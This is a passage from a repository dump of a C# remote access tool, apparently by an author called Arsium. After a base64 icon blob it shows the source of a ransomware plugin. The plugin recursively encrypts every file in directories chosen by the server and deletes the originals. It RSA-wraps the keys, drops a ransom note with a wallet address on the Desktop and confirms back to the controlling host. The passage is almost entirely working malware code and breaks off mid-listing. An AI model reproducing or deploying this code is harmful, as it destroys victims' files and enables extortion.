AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew9KrXoRiqt5FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8LrnoQBQAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD/////9/8AAP///+eA\n        /wAA////goD/AAD///+AAP8AAP///4AB/wAA////gAP/AAD//+OAB/8AAP/+AIAf/wAA//4AAD//AAD/\n        wAAAP78AAP/AAAAfjwAA+AAAAB8PAACAAAAAHg8AAAAAAAAADwAAYAAAAAAPAAD4AAAAAA8AAP/wAAAA\n        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\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5\n        YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h\n        ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF\n        aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h\n        ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR\n        cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x\n        LCz+JiQnwyonKrVKQj3ZYlRH23hiSF+NbUEXq3kWBMCAABcAAAAAAAAAAAAAAAAAAAAAAAAAAKR3Ix2e\n        dS6EmHI4s5FwP8aLbEPRhWlF4X9mSON5YknRcl5Jz3VdSP95XUb/YVJG/1lNRP9SSUH/SkM9/0M9Of87\n        NjT/My8w/y0qK8IhICSPLyssvkpCPdtjVEfyemNI+pBvPvWoeBvYvH8BdwAAAAAAAAAAAAAAAK97Dwir\n        eRRnpncffJ91LEKXcjk/kXA/motsQ7CFaUXJf2ZI+HliSf97YUj/dF1I/2ZXSP9fUkb/WU1E/1JJQf9K\n        Qz3/Qz05/zs2NP8zLzD/LSorliIhJKQ7NjS8W09EoXhiSH2TcDtZr3sQMsKBAAQAAAAAAAAAAAAAAAAA\n        AAAAsHsOB697DwAAAAAAAAAAAAAAAACQb0ATi2xDdIVpRet/Zkj/emNJ/3VfSf9sW0n/ZldI/19SRv9Z\n        TUT/UklB/0pDPf9DPTn/OzY0/zMvMP8vLC0zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl3I6QJFwP7KLbEP2hWlF/39mSP95Ykn/cl9J/2xbSf9m\n        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\n</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Imports.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace Plugin\n{\n    internal static class Imports//NtLockFile, NtOpenFile, NtUnlockFile\n    {\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing Plugin.Operation;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n\n                case PacketType.RANSOMWARE_ENCRYPTION:\n                    RansomwareEncryptionPacket ransomwareEncryptionPacket = (RansomwareEncryptionPacket)loadingAPI.CurrentPacket;\n                    ActionEncryption encryption = new ActionEncryption(\n                        ransomwareEncryptionPacket.publicRSAServerKey,\n                        ransomwareEncryptionPacket.paths,\n                        ransomwareEncryptionPacket.msg,\n                        ransomwareEncryptionPacket.wallet,\n                        loadingAPI\n                        );\n                    encryption.StartAction();\n                    break;\n\n                case PacketType.RANSOMWARE_DECRYPTION:\n                    RansomwareDecryptionPacket ransomwareDecryptionPacket = (RansomwareDecryptionPacket)loadingAPI.CurrentPacket;\n                    ActionDecryption decryption = new ActionDecryption(\n                        ransomwareDecryptionPacket.privateRSAServerKey\n                        );\n                    decryption.StartAction(decryption.decryption.encryptedData);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n\n        internal static void ClientSender(Host host, string key, IPacket packet)\n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.SendPacket(packet);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Operation/ActionDecryption.cs",
    "content": "﻿using Newtonsoft.Json;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin.Operation\n{\n    internal class ActionDecryption\n    {\n        private readonly int BUFFER_CHUNK_SIZE = 10485760;\n        private delegate void ActionDelegate(Dictionary<string, string> files);\n        private delegate string FileAction(KeyValuePair<string, string> file);\n\n        private ActionDelegate actionDelegate;\n        private FileAction fileAction;\n\n        private StringBuilder rsaPrivateKey { get; set; }\n        internal Encryption.Encrypted decryption { get; set; }\n\n        internal ActionDecryption(string privateRSAServerKey)\n        {\n            this.rsaPrivateKey = new StringBuilder();\n\n            this.decryption = JsonConvert.DeserializeObject<Encryption.Encrypted>(File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + \"\\\\encrypted.json\"));\n            File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + \"\\\\encrypted.json\");\n\n            foreach (string keyPart in decryption.clientRSAPrivate)\n            {\n                byte[] converted = Convert.FromBase64String(keyPart);\n\n                byte[] decrypted = Encryption.RSA.RSADecrypt(converted, privateRSAServerKey);\n\n                rsaPrivateKey.Append(Encoding.Default.GetString(decrypted));\n            }\n\n            this.actionDelegate = new ActionDelegate(Do);\n            this.fileAction = new FileAction(FileDecryptionOperated);\n        }\n\n        internal void StartAction(Dictionary<string, string> files)\n        {\n            this.actionDelegate.BeginInvoke(files, new AsyncCallback(EndAction), null);\n        }\n\n        private void AppendToFile(string fileToWrite, byte[] data)\n        {\n            using (FileStream FS = new FileStream(fileToWrite, File.Exists(fileToWrite) ? FileMode.Append : FileMode.OpenOrCreate, FileAccess.Write))\n            {\n                FS.Write(data, 0, data.Length);\n                FS.Close();\n            }\n        }\n\n\n        private void Do(Dictionary<string, string> files)\n        {\n\n            foreach (KeyValuePair<string, string> file in files)\n            {\n\n                IAsyncResult ar = this.fileAction.BeginInvoke(file, null, null);\n                string filePath = this.fileAction.EndInvoke(ar);\n                File.Delete(filePath);\n            }\n        }\n\n\n        private string FileDecryptionOperated(KeyValuePair<string, string> file)\n        {\n            byte[] key = Encryption.RSA.RSADecrypt(Convert.FromBase64String(file.Value), rsaPrivateKey.ToString());\n\n            string fullPath = file.Key + \".encrypted\";\n\n            using (Stream source = File.OpenRead(fullPath))\n            {\n                byte[] buffer = new byte[BUFFER_CHUNK_SIZE];\n                int bytesRead = 0;\n                long currentOffset = 0;\n                long totalSize = new FileInfo(fullPath).Length;\n\n                if (totalSize > BUFFER_CHUNK_SIZE)\n                {\n                    while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0)\n                    {\n                        byte[] decrypted = Encryption.RSM.RSMDecrypt(buffer, key);\n                        AppendToFile(file.Key, decrypted);\n\n                        currentOffset += bytesRead;\n                        totalSize -= bytesRead;\n                        if (totalSize < BUFFER_CHUNK_SIZE)\n                            buffer = new byte[totalSize];\n                    }\n                }\n                else\n                {\n                    buffer = new byte[totalSize];\n                    bytesRead = source.Read(buffer, 0, buffer.Length);\n\n                    byte[] decrypted = Encryption.RSM.RSMDecrypt(buffer, key);\n                    AppendToFile(file.Key, decrypted);\n                }\n            }\n            return fullPath;\n            //return true;\n        }\n\n\n        private void EndAction(IAsyncResult ar)\n        {\n            actionDelegate.EndInvoke(ar);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs",
    "content": "﻿using Newtonsoft.Json;\nusing PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| RSA 470 Bytes buffer explained : https://info.townsendsecurity.com/bid/29195/how-much-data-can-you-encrypt-with-rsa-keys ||\n*/\n\nnamespace Plugin.Operation\n{\n    internal class ActionEncryption\n    {\n        private readonly int BUFFER_CHUNK_SIZE = 10485760;//10MB\n        private delegate void ActionDelegate();\n        private delegate string FileAction(string path);\n\n        private ActionDelegate actionDelegate;\n        private FileAction fileAction;\n\n        private List<string>paths { get; set; }\n        private Dictionary<string, string> rsaPair { get; set; }\n        private List<string> rsaParsed { get; set; }\n        private Dictionary<string, string> results = new Dictionary<string, string>();\n        private string message { get; set; }\n        private string wallet { get; set; }\n        private LoadingAPI loadingAPI { get; set; }\n        private string key { get; set; }\n\n        internal ActionEncryption(string publicRSAServerKey, List<string> paths, string message, string wallet, LoadingAPI loadingAPI)\n        {\n            this.wallet = wallet;\n            this.message = message;\n            this.paths = paths;\n            this.loadingAPI = loadingAPI;\n\n            this.rsaParsed = new List<string>();\n            this.rsaPair = Encryption.RSA.GetKey();\n\n            using (Stream stream = new MemoryStream(Encoding.Default.GetBytes(this.rsaPair[\"PrivateKey\"]))) \n            {\n                byte[] buffer = new byte[470];\n\n                int bytesRead = 0;\n                long currentOffset = 0;\n                long totalSize = Encoding.Default.GetBytes(this.rsaPair[\"PrivateKey\"]).Length;\n\n                if (totalSize > 470)\n                {\n                    while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0)\n                    {\n                        byte[] encrypted = Encryption.RSA.RSAEncrypt(buffer, publicRSAServerKey);\n\n                        rsaParsed.Add(Convert.ToBase64String(encrypted));\n\n                        currentOffset += bytesRead;\n                        totalSize -= bytesRead;\n                        if (totalSize < 470)\n                            buffer = new byte[totalSize];\n                    }\n                }\n                else\n                {\n                    buffer = new byte[totalSize];\n                    bytesRead = stream.Read(buffer, 0, buffer.Length);\n\n                    byte[] encrypted = Encryption.RSA.RSAEncrypt(buffer, publicRSAServerKey);\n                    rsaParsed.Add(Convert.ToBase64String(encrypted));\n\n                }\n                stream.Dispose();\n                stream.Close();\n            }\n\n            this.rsaPair[\"PrivateKey\"] = null;\n            this.actionDelegate = new ActionDelegate(Do);\n            this.fileAction = new FileAction(FileEncryptionOperated);\n        }\n\n        internal void StartAction() \n        {\n            this.actionDelegate.BeginInvoke(new AsyncCallback(EndAction), null);\n        }\n\n        private void AppendToFile(string fileToWrite, byte[] data)\n        {\n            using (FileStream FS = new FileStream(fileToWrite, File.Exists(fileToWrite) ? FileMode.Append : FileMode.OpenOrCreate, FileAccess.Write))\n            {\n                FS.Write(data, 0, data.Length);\n                FS.Dispose();\n                FS.Close();\n            }\n        }\n\n        private bool CheckFileBeforeEncryption() \n        {\n            //\n            return true;\n        }\n\n        private void Do()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n\n            foreach (string dirPath in paths) \n            {\n                foreach (string file in Directory.GetFiles(dirPath, \"*.*\", SearchOption.AllDirectories))\n                {\n                    IAsyncResult ar = this.fileAction.BeginInvoke(file, null, null);\n                    string key = this.fileAction.EndInvoke(ar);\n                    this.results.Add(file, key);\n                }\n            }\n        }\n\n        private string FileEncryptionOperated(string path) \n        {\n            //lock file with native imports\n            string generateKey = KeyGenerator.GenerateKey();\n            using (Stream source = File.OpenRead(path))\n            {\n                byte[] buffer = new byte[BUFFER_CHUNK_SIZE];\n                int bytesRead = 0;\n                long currentOffset = 0;\n                long totalSize = new FileInfo(path).Length;\n\n                if (totalSize > BUFFER_CHUNK_SIZE)\n                {\n                    while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0)\n                    {            \n                        byte[] encrypted = Encryption.RSM.RSMEncrypt(buffer, Encoding.Unicode.GetBytes(generateKey));\n                        AppendToFile(path + \".encrypted\", encrypted);\n\n                        currentOffset += bytesRead;\n                        totalSize -= bytesRead;\n                        if (totalSize < BUFFER_CHUNK_SIZE)\n                            buffer = new byte[totalSize];\n                    }\n                }\n                else\n                {\n                    buffer = new byte[totalSize];\n                    bytesRead = source.Read(buffer, 0, buffer.Length);\n\n                    byte[] encrypted = Encryption.RSM.RSMEncrypt(buffer, Encoding.Unicode.GetBytes(generateKey));\n                    AppendToFile(path + \".encrypted\", encrypted);\n                }\n                source.Dispose();\n                source.Close();\n            }\n            File.Delete(path);\n            return Convert.ToBase64String(Encryption.RSA.RSAEncrypt(Encoding.Unicode.GetBytes(generateKey), this.rsaPair[\"PublicKey\"]));\n        }\n\n        private void EndAction(IAsyncResult ar) \n        {\n            actionDelegate.EndInvoke(ar);\n\n            Encryption.Encrypted encrypted = new Encryption.Encrypted();\n            encrypted.clientRSAPrivate = this.rsaParsed;\n            encrypted.encryptedData = this.results;\n\n            string fullResults = JsonConvert.SerializeObject(encrypted);\n            File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + \"\\\\encrypted.json\", fullResults);\n\n            File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + \"\\\\Notes.txt\", this.wallet + Environment.NewLine + Environment.NewLine + this.message);\n\n            Launch.ClientSender(this.loadingAPI.Host, this.loadingAPI.Key, new RansomwareConfirmationPacket(PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION, fullResults, this.loadingAPI.BaseIp, this.loadingAPI.HWID));\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Operation/KeyGenerator.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin.Operation\n{\n    internal class KeyGenerator\n    {\n        private const string RandomChar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789/*-+=:;,ùµ$^-)àç!è§('é&|@#{[^{}[]`´~<>\\\\¶¥¤¼»º§¦©ª«¬­®¯°±²Þß÷ö\";\n        private static Random RandomGeneration = new Random();\n\n        internal static string GenerateKey()\n        {\n            List<byte> byteKey = new List<byte>();\n            int exactSize = (256 - 1) / 8;\n            for (var i = 0; i <= exactSize; i++)\n            {\n                byteKey.Add(Convert.ToByte(RandomChar[RandomGeneration.Next(0, RandomChar.Length)]));\n            }\n            return Encoding.Default.GetString(byteKey.ToArray());\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs",
